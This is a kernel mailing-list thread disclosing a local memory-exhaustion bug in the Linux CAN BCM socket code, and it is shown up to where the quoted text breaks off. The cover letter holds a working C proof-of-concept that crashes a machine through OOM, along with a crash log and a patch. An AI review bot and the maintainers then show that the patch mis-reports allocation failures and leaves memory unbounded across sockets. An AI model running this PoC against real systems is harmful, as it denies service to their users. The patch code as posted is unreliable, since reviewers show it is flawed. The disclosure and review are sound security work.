* [PATCH net 0/1] can: bcm: bound per-socket RX operation resources
@ 2026-10-27 11:18 Zihan Xi
2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
0 siblings, 2 replies; 13+ messages in thread
From: Zihan Xi @ 2026-10-27 11:18 UTC (permalink / raw)
To: linux-can; +Cc: socketcan, mkl, davem, urs.thuermann, vega, zihanx
Hi Linux kernel maintainers,
We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user.
The relevant details are provided below.
---- details below ----
An LLM was used to help create this patch.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)
Bug details:
bcm_rx_setup() limits frames in one operation but not the number of
operations attached to a socket. Distinct CAN IDs create distinct
operations; with ifindex 0, a local unprivileged process needs no CAN
device. CAN-FD operations allocate frame arrays and CAN receiver
objects outside socket buffer accounting, allowing repeated requests
to consume kernel memory.
Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM
operation and frame-array allocations. Keep operation charges until
the operation is freed, and receiver charges until CAN-core RCU
reclamation frees each receiver. Reject requests over the limits with
-ENOBUFS.
Reproducer:
Build the included PoC source with:
cc -O2 -Wall -Wextra -o poc poc.c
In the guest's initial user and network namespaces, as root, configure
OOM panic to capture the crash:
echo 0 > /proc/sys/kernel/panic_on_warn
echo 2 > /proc/sys/vm/panic_on_oom
echo 0 > /proc/sys/vm/oom_kill_allocating_task
Then, as the unprivileged guest user test_user (UID 1001), run:
./poc 0 1000
No namespace setup, added capabilities, or CAN device is required; the
socket uses ifindex 0. Root is used only to set the OOM sysctls.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U
struct rx_setup_req {
struct bcm_msg_head head;
struct canfd_frame frames[BCM_NFRAMES];
};
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static unsigned long parse_ul(const char *arg, const char *name)
{
char *end = NULL;
unsigned long value;
errno = 0;
value = strtoul(arg, &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(EXIT_FAILURE);
}
return value;
}
int main(int argc, char **argv)
{
unsigned long max_ops = 0;
unsigned long progress_step = DEFAULT_PROGRESS_STEP;
unsigned long hold_seconds = 0;
struct sockaddr_can addr = {
.can_family = AF_CAN,
.can_ifindex = 0,
};
struct rx_setup_req *req;
size_t req_len;
unsigned long i;
int fd;
if (argc > 1)
max_ops = parse_ul(argv[1], "max_ops");
if (argc > 2)
progress_step = parse_ul(argv[2], "progress_step");
if (argc > 3)
hold_seconds = parse_ul(argv[3], "hold_seconds");
if (!progress_step)
progress_step = DEFAULT_PROGRESS_STEP;
req = aligned_alloc(8, sizeof(*req));
if (!req)
die("aligned_alloc");
memset(req, 0, sizeof(*req));
req->head.opcode = RX_SETUP;
req->head.flags = CAN_FD_FRAME;
req->head.nframes = BCM_NFRAMES;
for (i = 0; i < BCM_NFRAMES; i++) {
req->frames[i].len = CANFD_MAX_DLEN;
memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
}
req_len = sizeof(*req);
fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
if (fd < 0)
die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("connect(AF_CAN, ifindex=0)");
for (i = 0; !max_ops || i < max_ops; i++) {
ssize_t written;
uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);
req->head.can_id = CAN_EFF_FLAG | id;
written = send(fd, req, req_len, 0);
if (written < 0) {
fprintf(stderr,
"send failed after %lu RX_SETUP operations: %s\n",
i, strerror(errno));
return EXIT_FAILURE;
}
if ((i + 1) % progress_step == 0) {
fprintf(stderr,
"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
i + 1, req_len, (uint64_t)(i + 1) * req_len);
}
}
fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
i);
if (hold_seconds) {
fprintf(stderr, "holding socket open for %lu seconds\n",
hold_seconds);
sleep(hold_seconds);
}
return EXIT_SUCCESS;
}
------END PoC--------
----BEGIN crash log----
The stack below is decoded with source locations from the DWARF5,
reduced-debug-info build. The guest OOM was triggered during
`bcm_sendmsg()` allocation at `net/can/bcm.c:1431`.
[ 95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[ 95.493324][ T9374] Call Trace:
[ 95.493466][ T9374] dump_header (mm/oom_kill.c:464)
[ 95.493544][ T9374] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 95.493555][ T9374] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 95.493567][ T9374] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 95.493636][ T9374] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 95.493866][ T9374] __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[ 95.493899][ T9374] ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493920][ T9374] bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[ 95.493933][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.493971][ T9374] __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[ 95.494018][ T9374] ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[ 95.494027][ T9374] ? __pfx___sys_sendto (net/socket.c:2235)
[ 95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
can: bcm: limit RX operation resource usage per socket
include/linux/can/core.h | 7 +++
net/can/af_can.c | 34 +++++++++-
net/can/af_can.h | 1 +
net/can/bcm.c | 131 ++++++++++++++++++++++++++++++++-------
4 files changed, 147 insertions(+), 26 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 13+ messages in thread* [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi @ 2026-10-27 11:18 ` Zihan Xi 2026-10-27 11:29 ` sashiko-bot 2026-10-27 13:22 ` Oliver Hartkopp 2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi 1 sibling, 2 replies; 13+ messages in thread From: Zihan Xi @ 2026-10-27 11:18 UTC (permalink / raw) To: linux-can; +Cc: socketcan, mkl, davem, urs.thuermann, vega, zihanx BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory. Bound the number and aggregate allocation size of RX operations per socket. Keep the charge until the operation and its frame arrays are freed. Also keep a receiver count charged until the CAN core releases the receiver after its RCU grace period, so repeated setup/delete requests cannot bypass the limits while callbacks are pending. Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges. Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") Cc: stable@vger.kernel.org Reported-by: Vega <vega@nebusec.ai> Link: https://bugtracker.nebusec.ai/f/11134 Signed-off-by: Zihan Xi <zihanx@nebusec.ai> --- include/linux/can/core.h | 7 +++ net/can/af_can.c | 34 +++++++++- net/can/af_can.h | 1 + net/can/bcm.c | 131 ++++++++++++++++++++++++++++++++------- 4 files changed, 147 insertions(+), 26 deletions(-) diff --git a/include/linux/can/core.h b/include/linux/can/core.h index 2de74c2b78b6..89b9d0a2dcc1 100644 --- a/include/linux/can/core.h +++ b/include/linux/can/core.h @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, void (*func)(struct sk_buff *, void *), void *data, char *ident, struct sock *sk); +/* release runs from an RCU callback and must not sleep. */ +int can_rx_register_with_release(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)); + extern void can_rx_unregister(struct net *net, struct net_device *dev, canid_t can_id, canid_t mask, void (*func)(struct sk_buff *, void *), diff --git a/net/can/af_can.c b/net/can/af_can.c index 34fe3b28d576..a3f0ed35fbb5 100644 --- a/net/can/af_can.c +++ b/net/can/af_can.c @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, * -ENOMEM on missing cache mem to create subscription entry * -ENODEV unknown device */ -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, - canid_t mask, void (*func)(struct sk_buff *, void *), - void *data, char *ident, struct sock *sk) +static int can_rx_register_internal(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)) { struct receiver *rcv; struct hlist_head *rcv_list; struct can_dev_rcv_lists *dev_rcv_lists; struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; + if (release && !sk) + return -EINVAL; + /* insert new receiver (dev,canid,mask) -> (func,data) */ if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) @@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, rcv->data = data; rcv->ident = ident; rcv->sk = sk; + rcv->release = release; hlist_add_head_rcu(&rcv->list, rcv_list); dev_rcv_lists->entries++; @@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, return 0; } + +int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, + canid_t mask, void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk) +{ + return can_rx_register_internal(net, dev, can_id, mask, func, data, + ident, sk, NULL); +} EXPORT_SYMBOL(can_rx_register); +int can_rx_register_with_release(struct net *net, struct net_device *dev, + canid_t can_id, canid_t mask, + void (*func)(struct sk_buff *, void *), + void *data, char *ident, struct sock *sk, + void (*release)(struct sock *sk)) +{ + return can_rx_register_internal(net, dev, can_id, mask, func, data, + ident, sk, release); +} +EXPORT_SYMBOL(can_rx_register_with_release); + /* can_rx_delete_receiver - rcu callback for single receiver entry removal */ static void can_rx_delete_receiver(struct rcu_head *rp) { struct receiver *rcv = container_of(rp, struct receiver, rcu); struct sock *sk = rcv->sk; + void (*release)(struct sock *sk) = rcv->release; kmem_cache_free(rcv_cache, rcv); + if (release) + release(sk); if (sk) sock_put(sk); } diff --git a/net/can/af_can.h b/net/can/af_can.h index 87887014f562..2fa4cf8c1314 100644 --- a/net/can/af_can.h +++ b/net/can/af_can.h @@ -57,6 +57,7 @@ struct receiver { void *data; char *ident; struct sock *sk; + void (*release)(struct sock *sk); struct rcu_head rcu; }; diff --git a/net/can/bcm.c b/net/can/bcm.c index 3d637a1e0ac1..96d3f050dec5 100644 --- a/net/can/bcm.c +++ b/net/can/bcm.c @@ -58,6 +58,7 @@ #include <linux/can/skb.h> #include <linux/can/bcm.h> #include <linux/slab.h> +#include <linux/overflow.h> #include <linux/workqueue.h> #include <linux/spinlock.h> #include <net/can.h> @@ -127,6 +128,7 @@ struct bcm_op { void *last_frames; struct canfd_frame sframe; struct canfd_frame last_sframe; + size_t rx_mem; struct sock *sk; struct net_device *rx_reg_dev; netdevice_tracker rx_reg_dev_tracker; @@ -141,6 +143,9 @@ struct bcm_sock { struct list_head notifier; struct list_head rx_ops; struct list_head tx_ops; + unsigned int rx_op_count; + size_t rx_mem_used; + atomic_t rx_receiver_count; unsigned long dropped_usr_msgs; struct proc_dir_entry *bcm_proc_read; char procname [32]; /* inode number in decimal with \0 */ @@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head) #define OPSIZ sizeof(struct bcm_op) #define MHSIZ sizeof(struct bcm_msg_head) +/* Bound the resources consumed by RX operations on one BCM socket. */ +#define BCM_MAX_RX_OPS 1024 +#define BCM_MAX_RX_MEM (16 * 1024 * 1024) + /* * procfs functions */ @@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops, return NULL; } +/* Called with the socket lock held. */ +static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem) +{ + if (bo->rx_op_count >= BCM_MAX_RX_OPS || + rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used) + return false; + + bo->rx_op_count++; + bo->rx_mem_used += rx_mem; + return true; +} + +/* Called with the socket lock held. */ +static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem) +{ + if (!rx_mem) + return; + + if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem)) + return; + + bo->rx_op_count--; + bo->rx_mem_used -= rx_mem; +} + +static void bcm_rx_receiver_release(struct sock *sk) +{ + struct bcm_sock *bo = bcm_sk(sk); + + WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0); +} + +/* Called with the socket lock held. */ +static int bcm_rx_register(struct bcm_op *op, struct net_device *dev) +{ + struct bcm_sock *bo = bcm_sk(op->sk); + int err; + + if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) { + atomic_dec(&bo->rx_receiver_count); + return -ENOBUFS; + } + + err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id, + REGMASK(op->can_id), bcm_rx_handler, + op, "bcm", op->sk, + bcm_rx_receiver_release); + if (err) + atomic_dec(&bo->rx_receiver_count); + + return err; +} + static void bcm_free_op_work(struct work_struct *work) { struct bcm_op *op = container_of(work, struct bcm_op, work); + struct sock *sk = op->sk; + size_t rx_mem = op->rx_mem; hrtimer_cancel(&op->timer); hrtimer_cancel(&op->thrtimer); @@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work) if ((op->last_frames) && (op->last_frames != &op->last_sframe)) kfree(op->last_frames); - /* the last possible access to op->timer/op->thrtimer has now - * happened above via hrtimer_cancel() - op->sk is no longer - * needed by any pending timer callback, so drop our reference + kfree(op); + /* + * Keep the RX budget charged until the operation and its frame arrays + * have actually been freed. op->sk holds a reference while this work is + * pending, so the socket remains valid while updating its accounting. */ - sock_put(op->sk); + if (rx_mem) { + lock_sock(sk); + bcm_rx_op_uncharge(bcm_sk(sk), rx_mem); + release_sock(sk); + } - kfree(op); + /* Drop the reference held for the operation and any pending timer. */ + sock_put(sk); } static void bcm_free_op_rcu(struct rcu_head *rcu_head) @@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, { struct bcm_sock *bo = bcm_sk(sk); struct bcm_op *op; + size_t rx_mem, frames_size, arrays_size; int do_rx_register; int new_op = 0; int err = 0; @@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0; } else { + /* + * Charge the operation and its frame arrays before allocating + * them or registering a CAN receiver. nframes is already bounded + * above, but keep the size arithmetic explicitly overflow-safe. + */ + rx_mem = sizeof(*op); + if (msg_head->nframes > 1) { + if (check_mul_overflow((size_t)msg_head->nframes, + (size_t)CFSIZ(msg_head->flags), + &frames_size) || + check_mul_overflow(frames_size, (size_t)2, + &arrays_size) || + check_add_overflow(rx_mem, arrays_size, &rx_mem)) + return -EOVERFLOW; + } + + if (!bcm_rx_op_charge(bo, rx_mem)) + return -ENOBUFS; + /* insert new BCM operation for the given can_id */ op = kzalloc(OPSIZ, GFP_KERNEL); - if (!op) + if (!op) { + bcm_rx_op_uncharge(bo, rx_mem); return -ENOMEM; + } spin_lock_init(&op->bcm_tx_lock); spin_lock_init(&op->bcm_rx_update_lock); @@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, op->nframes = msg_head->nframes; op->cfsiz = CFSIZ(msg_head->flags); op->flags = msg_head->flags; + op->rx_mem = rx_mem; if (msg_head->nframes > 1) { /* create array for CAN frames and copy the data */ op->frames = kmalloc_array(msg_head->nframes, op->cfsiz, GFP_KERNEL); - if (!op->frames) { - kfree(op); - return -ENOMEM; - } + if (!op->frames) + goto free_op; /* create and init array for received CAN frames */ op->last_frames = kcalloc(msg_head->nframes, op->cfsiz, GFP_KERNEL); - if (!op->last_frames) { - kfree(op->frames); - kfree(op); - return -ENOMEM; - } + if (!op->last_frames) + goto free_op; } else { op->frames = &op->sframe; @@ -1532,11 +1621,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, dev = dev_get_by_index(sock_net(sk), ifindex); if (dev) { - err = can_rx_register(sock_net(sk), dev, - op->can_id, - REGMASK(op->can_id), - bcm_rx_handler, op, - "bcm", sk); + err = bcm_rx_register(op, dev); /* keep a tracked reference so that a later * unregister can safely reach the device even @@ -1558,9 +1643,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, } } else { - err = can_rx_register(sock_net(sk), NULL, op->can_id, - REGMASK(op->can_id), - bcm_rx_handler, op, "bcm", sk); + err = bcm_rx_register(op, NULL); } if (err) { @@ -1593,6 +1676,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, if (op->last_frames != &op->last_sframe) kfree(op->last_frames); kfree(op); + bcm_rx_op_uncharge(bo, rx_mem); return err; } @@ -1896,6 +1980,7 @@ static int bcm_init(struct sock *sk) bo->ifindex = 0; bo->dropped_usr_msgs = 0; bo->bcm_proc_read = NULL; + atomic_set(&bo->rx_receiver_count, 0); INIT_LIST_HEAD(&bo->tx_ops); INIT_LIST_HEAD(&bo->rx_ops); -- 2.43.0 ^ permalink raw reply related [flat|nested] 13+ messages in thread
* Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi @ 2026-10-27 11:29 ` sashiko-bot 2026-10-27 13:08 ` zihan xi 2026-10-27 13:22 ` Oliver Hartkopp 1 sibling, 1 reply; 13+ messages in thread From: sashiko-bot @ 2026-10-27 11:29 UTC (permalink / raw) To: Zihan Xi, linux-can Cc: Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol, Oleksij Rempel Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: - [Medium] can: bcm: bcm_rx_setup() returns 0 on frame array allocation failure -- commit 3aff0eb4ba8d41c989dbd64aa48ab75c3eecec89 Author: Zihan Xi <zihanx@nebusec.ai> can: bcm: limit RX operation resource usage per socket This commit bounds the per-socket number and total memory allocation size of CAN BCM RX operations, as well as the number of pending RCU receiver callbacks. When a socket reaches either limit, creating a new RX operation fails with -ENOBUFS. Link: https://bugtracker.nebusec.ai/f/11134 > diff --git a/net/can/bcm.c b/net/can/bcm.c > index 3d637a1e0ac1a..96d3f050dec54 100644 > --- a/net/can/bcm.c > +++ b/net/can/bcm.c [ ... ] > @@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > op->nframes = msg_head->nframes; > op->cfsiz = CFSIZ(msg_head->flags); > op->flags = msg_head->flags; > + op->rx_mem = rx_mem; > > if (msg_head->nframes > 1) { > /* create array for CAN frames and copy the data */ > op->frames = kmalloc_array(msg_head->nframes, > op->cfsiz, > GFP_KERNEL); > - if (!op->frames) { > - kfree(op); > - return -ENOMEM; > - } > + if (!op->frames) > + goto free_op; > > /* create and init array for received CAN frames */ > op->last_frames = kcalloc(msg_head->nframes, > op->cfsiz, > GFP_KERNEL); > - if (!op->last_frames) { > - kfree(op->frames); > - kfree(op); > - return -ENOMEM; > - } > + if (!op->last_frames) > + goto free_op; [Severity: Medium] In net/can/bcm.c:bcm_rx_setup(), when creating a new RX operation with msg_head->nframes > 1, err is initialized to 0 at the start of the function: int new_op = 0; int err = 0; If kmalloc_array() for op->frames or kcalloc() for op->last_frames fails, jumping to free_op without setting err = -ENOMEM executes: free_op: if (op->frames != &op->sframe) kfree(op->frames); if (op->last_frames != &op->last_sframe) kfree(op->last_frames); kfree(op); bcm_rx_op_uncharge(bo, rx_mem); return err; Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to userspace instead of -ENOMEM when either frame array allocation fails? -- Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793089479.git.zihanx@nebusec.ai?part=1 ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-27 11:29 ` sashiko-bot @ 2026-10-27 13:08 ` zihan xi 2026-10-27 13:11 ` Marc Kleine-Budde 0 siblings, 1 reply; 13+ messages in thread From: zihan xi @ 2026-10-27 13:08 UTC (permalink / raw) To: sashiko-reviews Cc: linux-can, Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol, Oleksij Rempel On Tue, Oct 27, 2026 at 7:29 PM <sashiko-bot@kernel.org> wrote: > > Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: > - [Medium] can: bcm: bcm_rx_setup() returns 0 on frame array allocation failure > -- > > commit 3aff0eb4ba8d41c989dbd64aa48ab75c3eecec89 > Author: Zihan Xi <zihanx@nebusec.ai> > > can: bcm: limit RX operation resource usage per socket > > This commit bounds the per-socket number and total memory allocation size of > CAN BCM RX operations, as well as the number of pending RCU receiver > callbacks. When a socket reaches either limit, creating a new RX operation > fails with -ENOBUFS. > > Link: https://bugtracker.nebusec.ai/f/11134 > > > diff --git a/net/can/bcm.c b/net/can/bcm.c > > index 3d637a1e0ac1a..96d3f050dec54 100644 > > --- a/net/can/bcm.c > > +++ b/net/can/bcm.c > > [ ... ] > > > @@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, > > op->nframes = msg_head->nframes; > > op->cfsiz = CFSIZ(msg_head->flags); > > op->flags = msg_head->flags; > > + op->rx_mem = rx_mem; > > > > if (msg_head->nframes > 1) { > > /* create array for CAN frames and copy the data */ > > op->frames = kmalloc_array(msg_head->nframes, > > op->cfsiz, > > GFP_KERNEL); > > - if (!op->frames) { > > - kfree(op); > > - return -ENOMEM; > > - } > > + if (!op->frames) > > + goto free_op; > > > > /* create and init array for received CAN frames */ > > op->last_frames = kcalloc(msg_head->nframes, > > op->cfsiz, > > GFP_KERNEL); > > - if (!op->last_frames) { > > - kfree(op->frames); > > - kfree(op); > > - return -ENOMEM; > > - } > > + if (!op->last_frames) > > + goto free_op; > > [Severity: Medium] > In net/can/bcm.c:bcm_rx_setup(), when creating a new RX operation with > msg_head->nframes > 1, err is initialized to 0 at the start of the function: > > int new_op = 0; > int err = 0; > > If kmalloc_array() for op->frames or kcalloc() for op->last_frames fails, > jumping to free_op without setting err = -ENOMEM executes: > > free_op: > if (op->frames != &op->sframe) > kfree(op->frames); > if (op->last_frames != &op->last_sframe) > kfree(op->last_frames); > kfree(op); > bcm_rx_op_uncharge(bo, rx_mem); > return err; > > Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to > userspace instead of -ENOMEM when either frame array allocation fails? valid: failures of kmalloc_array() or kcalloc() reach free_op with err == 0, causing RX_SETUP to report success. I’ll fix both paths to return -ENOMEM and re-review the cleanup and error-propagation paths before resubmitting. > > -- > Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793089479.git.zihanx@nebusec.ai?part=1 ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-27 13:08 ` zihan xi @ 2026-10-27 13:11 ` Marc Kleine-Budde 0 siblings, 0 replies; 13+ messages in thread From: Marc Kleine-Budde @ 2026-10-27 13:11 UTC (permalink / raw) To: zihan xi Cc: sashiko-reviews, linux-can, Oliver Hartkopp, Vincent Mailhol, Oleksij Rempel [-- Attachment #1: Type: text/plain, Size: 724 bytes --] On 27.10.2026 21:08:04, zihan xi wrote: > > Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to > > userspace instead of -ENOMEM when either frame array allocation fails? > > valid: failures of kmalloc_array() > or kcalloc() reach free_op with err == 0, causing RX_SETUP to report > success. I’ll fix both paths to return -ENOMEM and re-review the cleanup and > error-propagation paths before resubmitting. pw-bot: cr Marc -- Pengutronix e.K. | Marc Kleine-Budde | Embedded Linux | https://www.pengutronix.de | Vertretung Nürnberg | Phone: +49-5121-206917-129 | Amtsgericht Hildesheim, HRA 2686 | Fax: +49-5121-206917-9 | [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 228 bytes --] ^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket 2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi 2026-10-27 11:29 ` sashiko-bot @ 2026-10-27 13:22 ` Oliver Hartkopp 1 sibling, 0 replies; 13+ messages in thread From: Oliver Hartkopp @ 2026-10-27 13:22 UTC (permalink / raw) To: Zihan Xi, linux-can; +Cc: mkl, davem, urs.thuermann, vega Hello Zihan, On 27.10.26 12:18, Zihan Xi wrote: > BCM sockets can create an unbounded number of RX operations. Each > operation allocates memory outside of the socket buffer accounting, > so a single unprivileged socket can exhaust kernel memory. > > Bound the number and aggregate allocation size of RX operations per > socket. Keep the charge until the operation and its frame arrays are > freed. Also keep a receiver count charged until the CAN core releases > the receiver after its RCU grace period, so repeated setup/delete > requests cannot bypass the limits while callbacks are pending. > > Return -ENOBUFS when a socket reaches either limit. Existing operations > can still be updated without additional charges. many thanks for the report and the reproducer! The problem is known and on my list, as CAN_BCM needs some more work after the pending "can: protect the receive lists with a per-device lock" series. But I don't think the proposed patch is the right fix: 1. A per-socket limit does not bound the memory consumption. A process can open RLIMIT_NOFILE sockets and fork. With 16 MiB per socket around 100 sockets are enough to bring your 2 GB guest into OOM again - the PoC just needs an additional loop. 2. TX operations are not covered. bcm_tx_setup() allocates up to 256 * 72 bytes per op in the same unbounded way, which only requires an existing CAN interface. 3. The hard-coded limits can break existing applications. 1024 RX ops per socket is not unrealistic, e.g. when monitoring all 2048 SFF CAN IDs individually. Such applications would get -ENOBUFS without a possibility to adjust the limit. 4. can_rx_register_with_release() extends the CAN core API and adds a pointer to every struct receiver of all CAN protocols, while each RX op has exactly one receiver anyway. This is quite invasive for stable and conflicts with the pending series. A patch that enables memcg accounting is already in the works: GFP_KERNEL_ACCOUNT for the bcm_op structures and their frame arrays (RX and TX) and SLAB_ACCOUNT for the rcv_cache in af_can.c. IMO this is the better solution, as - the memory is charged to the cgroup of the allocating process, so the cgroup limits apply and the OOM killer is not left with kernel memory it can not attribute to anyone, - it covers all sockets and processes of a cgroup and can not be bypassed by opening more sockets, - it covers RX and TX ops and the receivers of all CAN protocols, - it introduces no hard-coded limits, no ABI change and no new core API, and only changes a few lines, which makes it easy to backport. This is also the established approach for other allocations in the kernel that can be triggered by unprivileged users. Best regards, Oliver > > Fixes: ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol") > Cc: stable@vger.kernel.org > Reported-by: Vega <vega@nebusec.ai> > Link: https://bugtracker.nebusec.ai/f/11134 > Signed-off-by: Zihan Xi <zihanx@nebusec.ai> > --- > include/linux/can/core.h | 7 +++ > net/can/af_can.c | 34 +++++++++- > net/can/af_can.h | 1 + > net/can/bcm.c | 131 ++++++++++++++++++++++++++++++++------- > 4 files changed, 147 insertions(+), 26 deletions(-) > > diff --git a/include/linux/can/core.h b/include/linux/can/core.h > index 2de74c2b78b6..89b9d0a2dcc1 100644 > --- a/include/linux/can/core.h > +++ b/include/linux/can/core.h > @@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev, > void (*func)(struct sk_buff *, void *), > void *data, char *ident, struct sock *sk); > > +/* release runs from an RCU callback and must not sleep. */ > +int can_rx_register_with_release(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)); > + > extern void can_rx_unregister(struct net *net, struct net_device *dev, > canid_t can_id, canid_t mask, > void (*func)(struct sk_buff *, void *), > diff --git a/net/can/af_can.c b/net/can/af_can.c > index 34fe3b28d576..a3f0ed35fbb5 100644 > --- a/net/can/af_can.c > +++ b/net/can/af_can.c > @@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask, > * -ENOMEM on missing cache mem to create subscription entry > * -ENODEV unknown device > */ > -int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id, > - canid_t mask, void (*func)(struct sk_buff *, void *), > - void *data, char *ident, struct sock *sk) > +static int can_rx_register_internal(struct net *net, struct net_device *dev, > + canid_t can_id, canid_t mask, > + void (*func)(struct sk_buff *, void *), > + void *data, char *ident, struct sock *sk, > + void (*release)(struct sock *sk)) > { > struct receiver *rcv; > struct hlist_head *rcv_list; > struct can_dev_rcv_lists *dev_rcv_lists; > struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats; > > + if (release && !sk) > + return -EINVAL; > + > /* insert new receiver (dev,canid,mask) -> (func,data) */ > > if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev))) > @@ 